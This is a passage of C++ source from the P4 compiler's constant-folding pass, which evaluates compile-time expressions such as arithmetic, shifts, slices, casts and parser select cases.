for (size_t i = 0; i < llist->components.size(); i++) {
auto li = llist->components.at(i);
auto ri = rlist->components.at(i);
const IR::Operation_Binary* tmp;
if (eqTest)
tmp = new IR::Equ(li, ri);
else
tmp = new IR::Neq(li, ri);
auto cmp = compare(tmp);
auto boolLit = cmp->to<IR::BoolLiteral>();
if (boolLit == nullptr)
return e;
if (boolLit->value != eqTest)
return boolLit;
}
return new IR::BoolLiteral(e->srcInfo, eqTest);
}
}
if (eqTest)
return binary(e, [](big_int a, big_int b) -> big_int { return a == b; });
else
return binary(e, [](big_int a, big_int b) -> big_int { return a != b; });
}
const IR::Node*
DoConstantFolding::binary(const IR::Operation_Binary* e,
std::function<big_int(big_int, big_int)> func,
bool saturating) {
auto eleft = getConstant(e->left);
auto eright = getConstant(e->right);
if (eleft == nullptr || eright == nullptr)
return e;
auto left = eleft->to<IR::Constant>();
if (left == nullptr) {
// This can be a serEnum value
return e;
}
auto right = eright->to<IR::Constant>();
if (right == nullptr) {
// This can be a serEnum value
return e;
}
const IR::Type* lt = left->type;
const IR::Type* rt = right->type;
bool lunk = lt->is<IR::Type_InfInt>();
bool runk = rt->is<IR::Type_InfInt>();
const IR::Type* resultType;
const IR::Type_Bits* ltb = nullptr;
const IR::Type_Bits* rtb = nullptr;
if (!lunk) {
ltb = lt->to<IR::Type_Bits>();
if (ltb == nullptr) {
// Could be a serEnum
return e;
}
}
if (!runk) {
rtb = rt->to<IR::Type_Bits>();
if (rtb == nullptr) {
// Could be a serEnum
return e;
}
}
if (!lunk && !runk) {
// both typed
if (!ltb->operator==(*rtb)) {
::error(ErrorType::ERR_INVALID,
"%1%: operands have different types: %2% and %3%",
e, ltb->toString(), rtb->toString());
return e;
}
resultType = rtb;
} else if (lunk && runk) {
resultType = lt; // i.e., Type_InfInt
} else {
// must cast one to the type of the other
if (lunk) {
resultType = rtb;
left = cast(left, left->base, rtb);
} else {
resultType = ltb;
right = cast(right, left->base, ltb);
}
}
big_int value = func(left->value, right->value);
if (saturating) {
if ((rtb = resultType->to<IR::Type::Bits>())) {
big_int limit = 1;
if (rtb->isSigned) {
limit <<= rtb->size-1;
if (value < -limit)
value = -limit;
} else {
limit <<= rtb->size;
if (value < 0)
value = 0; }
if (value >= limit)
value = limit - 1;
} else {
::error(ErrorType::ERR_INVALID,
"%1%: saturating operation on untyped values", e);
}
}
if (e->is<IR::Operation_Relation>())
return new IR::BoolLiteral(e->srcInfo, value != 0);
else
return new IR::Constant(e->srcInfo, resultType, value, left->base, true);
}
const IR::Node* DoConstantFolding::postorder(IR::LAnd* e) {
auto left = getConstant(e->left);
if (left == nullptr)
return e;
auto lcst = left->to<IR::BoolLiteral>();
if (lcst == nullptr) {
::error(ErrorType::ERR_EXPECTED, "%1%: Expected a boolean value", left);
return e;
}
if (lcst->value) {
return e->right;
}
return new IR::BoolLiteral(left->srcInfo, false);
}
const IR::Node* DoConstantFolding::postorder(IR::LOr* e) {
auto left = getConstant(e->left);
if (left == nullptr)
return e;
auto lcst = left->to<IR::BoolLiteral>();
if (lcst == nullptr) {
::error(ErrorType::ERR_EXPECTED, "%1%: Expected a boolean value", left);
return e;
}
if (!lcst->value) {
return e->right;
}
return new IR::BoolLiteral(left->srcInfo, true);
}
static bool overflowWidth(const IR::Node* node, int width) {
if (width > P4CConfiguration::MaximumWidthSupported) {
::error(ErrorType::ERR_UNSUPPORTED, "%1%: Compiler only supports widths up to %2%",
node, P4CConfiguration::MaximumWidthSupported);
return true;
}
return false;
}
const IR::Node* DoConstantFolding::postorder(IR::Slice* e) {
const IR::Expression* msb = getConstant(e->e1);
const IR::Expression* lsb = getConstant(e->e2);
if (msb == nullptr || lsb == nullptr) {
::error(ErrorType::ERR_EXPECTED, "%1%: bit indices must be compile-time constants", e);
return e;
}
auto e0 = getConstant(e->e0);
if (e0 == nullptr)
return e;
auto cmsb = msb->to<IR::Constant>();
if (cmsb == nullptr) {
::error(ErrorType::ERR_EXPECTED, "%1%: expected an integer value", msb);
return e;
}
auto clsb = lsb->to<IR::Constant>();
if (clsb == nullptr) {
::error(ErrorType::ERR_EXPECTED, "%1%: expected an integer value", lsb);
return e;
}
auto cbase = e0->to<IR::Constant>();
if (cbase == nullptr) {
::error(ErrorType::ERR_EXPECTED, "%1%: expected an integer value", e->e0);
return e;
}
int m = cmsb->asInt();
int l = clsb->asInt();
if (m < l) {
::error(ErrorType::ERR_EXPECTED,
"%1%: bit slicing should be specified as [msb:lsb]", e);
return e;
}
if (overflowWidth(e, m) || overflowWidth(e, l))
return e;
big_int value = cbase->value >> l;
big_int mask = 1;
mask = (mask << (m - l + 1)) - 1;
value = value & mask;
auto resultType = IR::Type_Bits::get(m - l + 1);
return new IR::Constant(e->srcInfo, resultType, value, cbase->base, true);
}
const IR::Node* DoConstantFolding::postorder(IR::Member* e) {
if (!typesKnown)
return e;
auto orig = getOriginal<IR::Member>();
auto type = typeMap->getType(orig->expr, true);
auto origtype = typeMap->getType(orig);
const IR::Expression* result;
if (type->is<IR::Type_Stack>() && e->member == IR::Type_Stack::arraySize) {
auto st = type->to<IR::Type_Stack>();
auto size = st->getSize();
result = new IR::Constant(st->size->srcInfo, origtype, size);
} else {
auto expr = getConstant(e->expr);
if (expr == nullptr)
return e;
if (auto tt = type->to<IR::Type_Tuple>()) {
int index = tt->fieldNameValid(e->member);
if (index < 0)
return e;
if (auto list = expr->to<IR::ListExpression>()) {
result = CloneConstants::clone(list->components.at(static_cast<size_t>(index)));
}
} else {
auto structType = type->to<IR::Type_StructLike>();
if (structType == nullptr)
BUG("Expected a struct type, got %1%", type);
if (auto list = expr->to<IR::ListExpression>()) {
bool found = false;
int index = 0;
for (auto f : structType->fields) {
if (f->name.name == e->member.name) {
found = true;
break;
}
index++;
}
if (!found)
BUG("Could not find field %1% in type %2%", e->member, type);
result = CloneConstants::clone(list->components.at(index));
} else if (auto si = expr->to<IR::StructExpression>()) {
if (origtype->is<IR::Type_Header>() && e->member.name == IR::Type_Header::isValid)
return e;
auto ne = si->components.getDeclaration<IR::NamedExpression>(e->member.name);
BUG_CHECK(ne != nullptr,
"Could not find field %1% in initializer %2%", e->member, si);
return CloneConstants::clone(ne->expression);
} else {
BUG("Unexpected initializer: %1%", expr);
}
}
}
return result;
}
const IR::Node* DoConstantFolding::postorder(IR::Concat* e) {
auto eleft = getConstant(e->left);
auto eright = getConstant(e->right);
if (eleft == nullptr || eright == nullptr)
return e;
auto left = eleft->to<IR::Constant>();
if (left == nullptr) {
// Could be a SerEnum
return e;
}
auto right = eright->to<IR::Constant>();
if (right == nullptr) {
// Could be a SerEnum
return e;
}
auto lt = left->type->to<IR::Type_Bits>();
auto rt = right->type->to<IR::Type_Bits>();
if (lt == nullptr || rt == nullptr) {
::error(ErrorType::ERR_INVALID, "%1%: both operand widths must be known", e);
return e;
}
auto resultType = IR::Type_Bits::get(lt->size + rt->size, lt->isSigned);
if (overflowWidth(e, resultType->size))
return e;
big_int value = Util::shift_left(left->value, static_cast<unsigned>(rt->size)) + right->value;
return new IR::Constant(e->srcInfo, resultType, value, left->base);
}
const IR::Node* DoConstantFolding::postorder(IR::LNot* e) {
auto op = getConstant(e->expr);
if (op == nullptr)
return e;
auto cst = op->to<IR::BoolLiteral>();
if (cst == nullptr) {
::error(ErrorType::ERR_EXPECTED, "%1%: Expected a boolean value", op);
return e;
}
return new IR::BoolLiteral(cst->srcInfo, !cst->value);
}
const IR::Node* DoConstantFolding::postorder(IR::Mux* e) {
auto cond = getConstant(e->e0);
if (cond == nullptr)
return e;
auto b = cond->to<IR::BoolLiteral>();
if (b == nullptr) {
::error(ErrorType::ERR_EXPECTED, "%1%: expected a Boolean", cond);
return e; }
if (b->value)
return e->e1;
else
return e->e2;
}
const IR::Node* DoConstantFolding::shift(const IR::Operation_Binary* e) {
auto right = getConstant(e->right);
if (right == nullptr)
return e;
auto cr = right->to<IR::Constant>();
if (cr == nullptr) {
::error(ErrorType::ERR_EXPECTED, "%1%: expected an integer value", right);
return e;
}
if (cr->value < 0) {
::error(ErrorType::ERR_INVALID, "%1%: Shifts with negative amounts are not permitted", e);
return e;
}
if (auto crTypeBits = cr->type->to<IR::Type_Bits>()) {
if (crTypeBits->isSigned) {
::error(ErrorType::ERR_EXPECTED, "%1%: shift amounts cannot be signed", right);
return e;
}
}
if (cr->value == 0) {
// ::warning("%1% with zero", e);
return e->left;
}
auto left = getConstant(e->left);
if (left == nullptr)
return e;
auto cl = left->to<IR::Constant>();
if (cl == nullptr) {
::error(ErrorType::ERR_EXPECTED, "%1%: expected an integer value", left);
return e;
}
big_int value = cl->value;
unsigned shift = static_cast<unsigned>(cr->asInt());
if (overflowWidth(e, shift))
return e;
auto tb = left->type->to<IR::Type_Bits>();
if (tb != nullptr) {
if (((unsigned)tb->size < shift) && warnings)
::warning(ErrorType::WARN_OVERFLOW,
"%1%: Shifting %2%-bit value with %3%", e, tb->size, shift);
}
if (e->is<IR::Shl>())
value = Util::shift_left(value, shift);
else
value = Util::shift_right(value, shift);
return new IR::Constant(e->srcInfo, left->type, value, cl->base);
}
const IR::Node *DoConstantFolding::postorder(IR::Cast *e) {
auto expr = getConstant(e->expr);
if (expr == nullptr)
return e;
const IR::Type* etype;
if (typesKnown)
etype = typeMap->getType(getOriginal(), true);
else
etype = e->destType;
if (etype->is<IR::Type_Bits>()) {
auto type = etype->to<IR::Type_Bits>();
if (expr->is<IR::Constant>()) {
auto arg = expr->to<IR::Constant>();
return cast(arg, arg->base, type);
} else if (expr -> is<IR::BoolLiteral>()) {
auto arg = expr->to<IR::BoolLiteral>();
int v = arg->value ? 1 : 0;
return new IR::Constant(e->srcInfo, type, v, 10);
} else {
return e;
}
} else if (etype->is<IR::Type_Boolean>()) {
if (expr->is<IR::BoolLiteral>())
return expr;
if (expr->is<IR::Constant>()) {
auto cst = expr->to<IR::Constant>();
auto ctype = cst->type;
if (ctype->is<IR::Type_Bits>()) {
auto tb = ctype->to<IR::Type_Bits>();
if (tb->isSigned) {
::error(ErrorType::ERR_INVALID, "%1%: Cannot cast signed value to boolean", e);
return e;
}
if (tb->size != 1) {
::error(ErrorType::ERR_INVALID,
"%1%: Only bit<1> values can be cast to bool", e);
return e;
}
} else {
BUG_CHECK(ctype->is<IR::Type_InfInt>(), "%1%: unexpected type %2% for constant",
cst, ctype);
}
int v = cst->asInt();
if (v < 0 || v > 1) {
::error(ErrorType::ERR_INVALID, "%1%: Only 0 and 1 can be cast to booleans", e);
return e;
}
return new IR::BoolLiteral(e->srcInfo, v == 1);
}
} else if (etype->is<IR::Type_StructLike>()) {
return CloneConstants::clone(expr);
}
return e;
}
DoConstantFolding::Result
DoConstantFolding::setContains(const IR::Expression* keySet, const IR::Expression* select) const {
if (keySet->is<IR::DefaultExpression>())
return Result::Yes;
if (select->is<IR::ListExpression>()) {
auto list = select->to<IR::ListExpression>();
if (keySet->is<IR::ListExpression>()) {
auto klist = keySet->to<IR::ListExpression>();
BUG_CHECK(list->components.size() == klist->components.size(),
"%1% and %2% size mismatch", list, klist);
for (unsigned i=0; i < list->components.size(); i++) {
auto r = setContains(klist->components.at(i), list->components.at(i));
if (r == Result::DontKnow || r == Result::No)
return r;
}
return Result::Yes;
} else {
BUG_CHECK(list->components.size() == 1, "%1%: mismatch in list size", list);
return setContains(keySet, list->components.at(0));
}
}
if (select->is<IR::BoolLiteral>()) {
auto key = getConstant(keySet);
if (key == nullptr)
::error(ErrorType::ERR_TYPE_ERROR, "%1%: expression must evaluate to a constant", key);
BUG_CHECK(key->is<IR::BoolLiteral>(), "%1%: expected a boolean", key);
if (select->to<IR::BoolLiteral>()->value == key->to<IR::BoolLiteral>()->value)
return Result::Yes;
return Result::No;
}
BUG_CHECK(select->is<IR::Constant>(), "%1%: expected a constant", select);
auto cst = select->to<IR::Constant>();
if (keySet->is<IR::Constant>()) {
if (keySet->to<IR::Constant>()->value == cst->value)
return Result::Yes;
return Result::No;
} else if (keySet->is<IR::Range>()) {
auto range = keySet->to<IR::Range>();
auto left = getConstant(range->left);
if (left == nullptr) {
::error(ErrorType::ERR_INVALID, "%1%: expression must evaluate to a constant", left);
return Result::DontKnow;
}
auto right = getConstant(range->right);
if (right == nullptr) {
::error(ErrorType::ERR_INVALID, "%1%: expression must evaluate to a constant", right);
return Result::DontKnow;
}
if (left->to<IR::Constant>()->value <= cst->value &&
right->to<IR::Constant>()->value >= cst->value)
return Result::Yes;
return Result::No;
} else if (keySet->is<IR::Mask>()) {
// check if left & right == cst & right
auto range = keySet->to<IR::Mask>();
auto left = getConstant(range->left);
if (left == nullptr) {
::error(ErrorType::ERR_INVALID, "%1%: expression must evaluate to a constant", left);
return Result::DontKnow;
}
auto right = getConstant(range->right);
if (right == nullptr) {
::error(ErrorType::ERR_INVALID, "%1%: expression must evaluate to a constant", right);
return Result::DontKnow;
}
if ((left->to<IR::Constant>()->value & right->to<IR::Constant>()->value) ==
(right->to<IR::Constant>()->value & cst->value))
return Result::Yes;
return Result::No;
}
::error(ErrorType::ERR_INVALID, "%1%: unexpected expression", keySet);
return Result::DontKnow;
}
const IR::Node* DoConstantFolding::postorder(IR::SelectExpression* expression) {
if (!typesKnown) return expression;
auto sel = getConstant(expression->select);
if (sel == nullptr)
return expression;
IR::Vector<IR::SelectCase> cases;
bool someUnknown = false;
bool changes = false;
bool finished = false;
const IR::Expression* result = expression;
/* FIXME -- should erase/replace each element as needed, rather than creating a new Vector.
* Should really implement this in SelectCase pre/postorder and this postorder goes away */
for (auto c : expression->selectCases) {
if (finished) {
if (warnings)
::warning(ErrorType::WARN_PARSER_TRANSITION, "%1%: unreachable case", c);
continue;
}
auto inside = setContains(c->keyset, sel);
if (inside == Result::No) {
changes = true;
continue;
} else if (inside == Result::DontKnow) {
someUnknown = true;
cases.push_back(c);
} else {
changes = true;
finished = true;
if (someUnknown) {
auto newc = new IR::SelectCase(c->srcInfo, new IR::DefaultExpression(), c->state);
cases.push_back(newc);
} else {
// This is the result.
result = c->state;
}
}
}
if (changes) {
if (cases.size() == 0 && result == expression && warnings)
::warning(ErrorType::WARN_PARSER_TRANSITION, "%1%: no case matches", expression);
expression->selectCases = std::move(cases);
}
return result;
}
const IR::Node *DoConstantFolding::postorder(IR::IfStatement *ifstmt) {
if (auto cond = ifstmt->condition->to<IR::BoolLiteral>()) {
if (cond->value) {
return ifstmt->ifTrue;
} else {
if (ifstmt->ifFalse == nullptr) {
return new IR::EmptyStatement(ifstmt->srcInfo);
} else {
return ifstmt->ifFalse;
}
}
}
return ifstmt;
}
} // namespace P4
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.